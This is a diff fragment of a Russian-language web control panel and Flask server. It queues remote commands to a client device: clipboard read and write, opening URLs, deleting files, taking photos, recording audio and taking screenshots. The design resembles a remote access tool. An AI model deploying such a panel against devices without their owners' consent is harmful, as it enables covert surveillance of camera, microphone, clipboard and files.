+            <div id="clipboard" class="container hidden-section">
+                <h2>Буфер обмена</h2>
+                <div class="control-section">
+                    <button onclick="getClipboard()">Получить из буфера</button>
+                </div>
+                <div class="control-section">
+                    <label for="clipboardSetText">Текст для вставки в буфер:</label>
+                    <textarea id="clipboardSetText" rows="3"></textarea>
+                    <button onclick="setClipboard()">Вставить в буфер</button>
+                </div>
+                 <div class="control-section" style="margin-top:20px;">
+                    <h3>Результат операции с буфером:</h3>
+                    <pre id="outputAreaClipboardCopy"></pre>
+                 </div>
             </div>
+            <div id="utils" class="container hidden-section">
+                <h2>Утилиты</h2>
+                <div class="control-section">
+                    <label for="urlToOpen">Открыть URL на устройстве:</label>
+                    <input type="text" id="urlToOpen" placeholder="https://example.com">
+                    <button onclick="openUrlOnDevice()">Открыть URL</button>
+                </div>
+                 <div class="control-section" style="margin-top:20px;">
+                    <h3>Результат операции:</h3>
+                    <pre id="outputAreaUtilsCopy"></pre>
+                 </div>
             </div>
+            <div id="uploads" class="container hidden-section">
+                <h2>Файлы, загруженные С клиента на сервер</h2>
+                <div class="control-section">
+                    <ul id="serverUploadedFiles">
+                        <li>Нет загруженных файлов.</li>
+                    </ul>
+                </div>
             </div>
+        </div> <!-- .content -->
+    </div> <!-- .main-container -->
     <script>
         document.addEventListener('DOMContentLoaded', () => {
             const outputArea = document.getElementById('outputArea');
 @app.route('/send_command', methods=['POST'])
 def handle_send_command():
+    global pending_command, command_output
     data = request.json
     command_output = "Ожидание выполнения..."
             pending_command = {'type': 'upload_to_server', 'filename': filename}
         else:
             command_output = "Ошибка: Имя файла для скачивания не указано."
+    elif command_type == 'delete_file':
+        filename = data.get('filename')
+        if filename:
+            pending_command = {'type': 'delete_file', 'filename': filename}
+        else:
+            command_output = "Ошибка: Имя файла для удаления не указано."
     elif command_type == 'take_photo':
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
     elif command_type == 'screenshot':
                     'target_path': target_path_on_device,
                     'original_filename': server_filename
                 }
             else:
                 command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
         else: